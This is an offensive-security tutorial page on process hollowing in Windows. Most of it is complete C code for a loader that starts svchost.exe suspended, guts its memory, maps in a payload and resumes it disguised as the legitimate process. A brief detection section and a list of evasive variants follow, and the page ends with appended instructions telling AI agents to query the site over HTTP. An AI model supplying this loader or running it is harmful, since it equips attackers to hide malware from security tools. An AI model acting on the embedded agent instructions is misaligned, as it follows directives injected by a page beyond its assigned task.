# Process Hollowing — Gutting Legitimate Processes

### Concept and Motivation

Process Hollowing (also called *RunPE* or *Process Replacement*) is a code injection technique that subverts the identity of a legitimate process to execute malicious code. The core idea: we create a trusted host process (such as `svchost.exe`, `explorer.exe`, or `notepad.exe`) in a suspended state, evict its memory contents, and replace them with our malicious payload.

From the perspective of the operating system and many security tools, the process remains `svchost.exe` — with its PID, name, and legitimate access tokens. The code executing, however, is ours.

```
┌──────────────────────────────────────────────────────────────────────┐
│                    Process Hollowing Anatomy                          │
│                                                                      │
│  STEP 1: Create process suspended                                    │
│  ┌─────────────────────────────────────────────────────────────┐    │
│  │  svchost.exe (SUSPENDED)                                    │    │
│  │  ┌──────────────────────────────────────────────────────┐   │    │
│  │  │  .text section: [legitimate svchost code]            │   │    │
│  │  │  Entry Point: 0x00401000 → svchost code              │   │    │
│  │  └──────────────────────────────────────────────────────┘   │    │
│  └─────────────────────────────────────────────────────────────┘    │
│                                                                      │
│  STEP 2: Unmap + Inject payload                                      │
│  ┌─────────────────────────────────────────────────────────────┐    │
│  │  svchost.exe (SUSPENDED) — Hollowed                         │    │
│  │  ┌──────────────────────────────────────────────────────┐   │    │
│  │  │  .text section: [malicious payload]                  │   │    │
│  │  │  Entry Point: → malicious code                       │   │    │
│  │  └──────────────────────────────────────────────────────┘   │    │
│  └─────────────────────────────────────────────────────────────┘    │
│                                                                      │
│  STEP 3: ResumeThread → payload executes as "svchost.exe"           │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Prerequisites and Relevant Structures

To implement process hollowing, we need to understand a few Windows structures:

**PEB (Process Environment Block)**: Structure containing information about the process, including the base address of the loaded image (`PEB.ImageBaseAddress`). After hollowing, we update this field to the new base address.

**CONTEXT**: Structure that holds the complete register state of a thread. The `RCX` register (on x64) points to the PEB of the main thread when it is created.

***

### Full Implementation

#### Step 1: Create the Target Process in Suspended State

```c
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

BOOL CreateSuspendedProcess(
    const char* hostPath,
    PROCESS_INFORMATION* pi,
    STARTUPINFOA* si
) {
    memset(si, 0, sizeof(*si));
    si->cb = sizeof(*si);
    memset(pi, 0, sizeof(*pi));

    return CreateProcessA(
        hostPath,
        NULL,
        NULL, NULL,
        FALSE,
        CREATE_SUSPENDED | CREATE_NO_WINDOW,
        NULL,
        NULL,
        si, pi
    );
}
```

#### Step 2: Get the Host Process Image Base

We need the address where the legitimate image was loaded in order to unmap it:

```c
typedef NTSTATUS(WINAPI* pNtQueryInformationProcess)(
    HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG
);

PVOID GetProcessImageBase(HANDLE hProcess) {
    pNtQueryInformationProcess NtQIP =
        (pNtQueryInformationProcess)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess"
        );

    PROCESS_BASIC_INFORMATION pbi = {0};
    NTSTATUS st = NtQIP(hProcess, ProcessBasicInformation,
                        &pbi, sizeof(pbi), NULL);
    if (st != 0) return NULL;

    PVOID peb = pbi.PebBaseAddress;
    PVOID imageBase = NULL;

    // Read the ImageBaseAddress field from the remote process PEB
    ReadProcessMemory(hProcess,
        (BYTE*)peb + 0x10,  // PEB->ImageBaseAddress
        &imageBase, sizeof(imageBase), NULL
    );

    return imageBase;
}
```

#### Step 3: Unmap the Original Image

```c
typedef NTSTATUS(WINAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

BOOL UnmapTargetImage(HANDLE hProcess, PVOID imageBase) {
    pNtUnmapViewOfSection NtUnmap =
        (pNtUnmapViewOfSection)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"
        );

    return NtUnmap(hProcess, imageBase) == 0;
}
```

#### Step 4: Map the Payload into the Host Process

```c
BOOL MapPayloadToProcess(
    HANDLE hProcess,
    PVOID payloadBase,
    PVOID* newBase
) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)payloadBase;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)payloadBase + dos->e_lfanew);

    DWORD sizeOfImage   = nt->OptionalHeader.SizeOfImage;
    PVOID preferredBase = (PVOID)nt->OptionalHeader.ImageBase;

    // Try to allocate at the PE's preferred base address (no relocations needed)
    *newBase = VirtualAllocEx(
        hProcess, preferredBase, sizeOfImage,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );

    // If preferred address isn't available, accept any address
    if (!*newBase) {
        *newBase = VirtualAllocEx(
            hProcess, NULL, sizeOfImage,
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
        );
    }
    if (!*newBase) return FALSE;

    // Write PE headers
    WriteProcessMemory(hProcess, *newBase, payloadBase,
                       nt->OptionalHeader.SizeOfHeaders, NULL);

    // Map each section individually
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
        PVOID sectionDest = (BYTE*)*newBase + sec->VirtualAddress;
        PVOID sectionSrc  = (BYTE*)payloadBase + sec->PointerToRawData;

        WriteProcessMemory(hProcess, sectionDest, sectionSrc,
                           sec->SizeOfRawData, NULL);
    }

    return TRUE;
}
```

#### Step 5: Apply Relocations (if necessary)

If the payload could not be loaded at its preferred base address, we need to apply relocations:

```c
BOOL ApplyRelocations(
    HANDLE hProcess,
    PVOID newBase,
    PVOID payloadBase
) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)payloadBase;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)payloadBase + dos->e_lfanew);

    ULONGLONG delta = (ULONGLONG)newBase - nt->OptionalHeader.ImageBase;
    if (delta == 0) return TRUE;  // No relocations needed

    IMAGE_DATA_DIRECTORY relocDir =
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    if (relocDir.Size == 0) return FALSE;  // PE has no relocation table

    PIMAGE_BASE_RELOCATION reloc =
        (PIMAGE_BASE_RELOCATION)((BYTE*)payloadBase + relocDir.VirtualAddress);

    while (reloc->VirtualAddress > 0) {
        WORD* entries = (WORD*)(reloc + 1);
        DWORD count   = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;

        for (DWORD i = 0; i < count; i++) {
            WORD type   = entries[i] >> 12;
            WORD offset = entries[i] & 0x0FFF;

            if (type == IMAGE_REL_BASED_DIR64) {  // x64
                PVOID patchAddr =
                    (BYTE*)newBase + reloc->VirtualAddress + offset;

                ULONGLONG oldVal = 0;
                ReadProcessMemory(hProcess, patchAddr,
                                  &oldVal, sizeof(oldVal), NULL);

                ULONGLONG newVal = oldVal + delta;
                WriteProcessMemory(hProcess, patchAddr,
                                   &newVal, sizeof(newVal), NULL);
            }
        }

        reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)reloc + reloc->SizeOfBlock);
    }

    return TRUE;
}
```

#### Step 6: Update Entry Point and Resume Thread

```c
BOOL HollowAndResume(
    PROCESS_INFORMATION* pi,
    PVOID newBase,
    PVOID payloadBase
) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)payloadBase;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)payloadBase + dos->e_lfanew);

    PVOID entryPoint =
        (BYTE*)newBase + nt->OptionalHeader.AddressOfEntryPoint;

    // Read the main thread context (suspended)
    CONTEXT ctx = {0};
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi->hThread, &ctx);

    // On x64, RCX holds the entry point address in the initial thread context
    ctx.Rcx = (DWORD64)entryPoint;

    // Update PEB.ImageBaseAddress in the target process
    PROCESS_BASIC_INFORMATION pbi = {0};
    pNtQueryInformationProcess NtQIP =
        (pNtQueryInformationProcess)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess"
        );
    NtQIP(pi->hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

    WriteProcessMemory(
        pi->hProcess,
        (BYTE*)pbi.PebBaseAddress + 0x10,  // PEB->ImageBaseAddress
        &newBase, sizeof(newBase), NULL
    );

    // Apply new context and resume
    SetThreadContext(pi->hThread, &ctx);
    ResumeThread(pi->hThread);

    return TRUE;
}
```

#### Putting It All Together

```c
int main(void) {
    PVOID payload     = NULL;
    DWORD payloadSize = 0;
    // ... (load payload from file, resource, or network)

    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    if (!CreateSuspendedProcess("C:\\Windows\\System32\\svchost.exe", &pi, &si)) {
        printf("[-] Failed to create suspended process: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Suspended process: PID %lu\n", pi.dwProcessId);

    PVOID origBase = GetProcessImageBase(pi.hProcess);
    printf("[+] Original ImageBase: 0x%p\n", origBase);

    if (!UnmapTargetImage(pi.hProcess, origBase)) {
        printf("[-] Unmap failed\n");
        TerminateProcess(pi.hProcess, 0);
        return 1;
    }
    printf("[+] Original image removed\n");

    PVOID newBase = NULL;
    if (!MapPayloadToProcess(pi.hProcess, payload, &newBase)) {
        printf("[-] Failed to map payload\n");
        TerminateProcess(pi.hProcess, 0);
        return 1;
    }
    printf("[+] Payload mapped at: 0x%p\n", newBase);

    ApplyRelocations(pi.hProcess, newBase, payload);
    HollowAndResume(&pi, newBase, payload);
    printf("[+] Thread resumed. Payload executing as svchost.exe\n");

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}
```

***

### Detection and Countermeasures

```
┌──────────────────────────────────────────────────────────────────────┐
│                   Process Hollowing Indicators                       │
│                                                                      │
│  1. Inconsistent ImageBase                                           │
│     • PEB.ImageBaseAddress ≠ path of the executable on filesystem   │
│     • Tools: Volatility imageinfo, pe-sieve                          │
│                                                                      │
│  2. NtUnmapViewOfSection on remote process                           │
│     • Legitimate use of this call is rare at process startup        │
│     • EDR monitors via hook or kernel callback                       │
│                                                                      │
│  3. WriteProcessMemory right after CREATE_SUSPENDED                  │
│     • Sequence: CreateProcess(SUSPENDED) → WriteProcessMemory        │
│     • Characteristic and well-monitored pattern                      │
│                                                                      │
│  4. Mismatch between PE sections on disk and in memory              │
│     • .text section checksums differ from file on disk              │
│     • pe-sieve trivially detects this                               │
│                                                                      │
│  5. Entry point in unmapped memory region                           │
│     • RIP (instruction pointer) in anonymous page or module          │
│     • Mismatched from the executable file reported by the loader     │
└──────────────────────────────────────────────────────────────────────┘
```

#### Evasive Variants

To reduce detectability, modern variants of process hollowing use:

* **Transacted Hollowing**: Uses TxF (Transactional NTFS) to create a memory section backed by a file that is never committed to disk.
* **Process Doppelgänging**: Creates the process directly from an uncommitted transaction.
* **Module Overwriting / Stomping**: Instead of unmap + relocation, overwrites an already-loaded module (see dedicated article).

***

### References

* Tal Liberman & Eugene Kogan, "Process Doppelgänging" — Black Hat Europe 2017
* ired.team, "Process Hollowing and Portable Executable Relocations" — ired.team
* Endgame (now Elastic), "Ten Process Injection Techniques" — elastic.co (2017)
* Crow, "Understanding Process Injection" — crow\.rip (2019)
* MITRE ATT\&CK, "Process Hollowing (T1055.012)" — attack.mitre.org
* hasherezade, "PE-sieve" — github.com/hasherezade/pe-sieve


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.redteamleaders.com/offensive-security/defense-evasion/process-hollowing-gutting-legitimate-processes.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
